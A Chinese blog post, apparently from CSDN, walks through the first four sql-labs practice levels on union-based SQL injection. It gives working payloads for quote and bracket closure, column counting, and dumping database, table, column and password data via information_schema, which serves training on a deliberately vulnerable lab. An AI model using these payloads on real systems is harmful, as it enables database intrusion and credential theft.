sql-labs 回显注入+盲注+dnslog注入

最新推荐文章于 2024-02-21 21:59:35 发布

caiji2312

最新推荐文章于 2024-02-21 21:59:35 发布

阅读量3.4k

点赞数 1

分类专栏： sql注入文章标签： sql

本文链接：https://blog.csdn.net/Khazking/article/details/121543851

版权

本文详细介绍了SQL注入的各种类型，包括回显注入、盲注和DNSlog注入。通过实例展示了如何利用单引号、数字、括号闭合等方法进行回显注入，并通过布尔盲注、报错注入和时间盲注来获取信息。同时，文章还阐述了DNSlog注入的原理、利用场景和实际操作步骤。

摘要由CSDN通过智能技术生成

第一题~第四题:回显注入

判断注入类型

id=1

id=1 and 1=2

id=1'

说明为字符型注入 源代码:id='$id' LIMIT 0,1 构造:id='1'' LIMIT 0,1 报错: '1'' LIMIT 0,1'(最外面的' '是回显时添加的)

id=-1' --+

说明sql为单引号闭合

id=1' order by 3正常

id=1' order by 4报错

判断字段数为3

id=-1' union select 1,2,3 判断可利用字段数

爆库:

id=-1' union select 1,database(),3--+

爆表:

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆字段名:

id=-1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

爆字段值:

id=-1 ' union select 1,group_concat(username),group_concat(password) from users --+

id=1

id =1 and 1=2

说明为数字型注入

后面操作同第一题

id=1

id=1 and 1=2

均正常

id=1'

说明为字符型注入,sql为'单引号+()括号闭合

后续操作如第一题

id=1"

说明存在字符型注入,sql为"双引号+(括号)闭合

后续操作如第一题

关注

专栏目录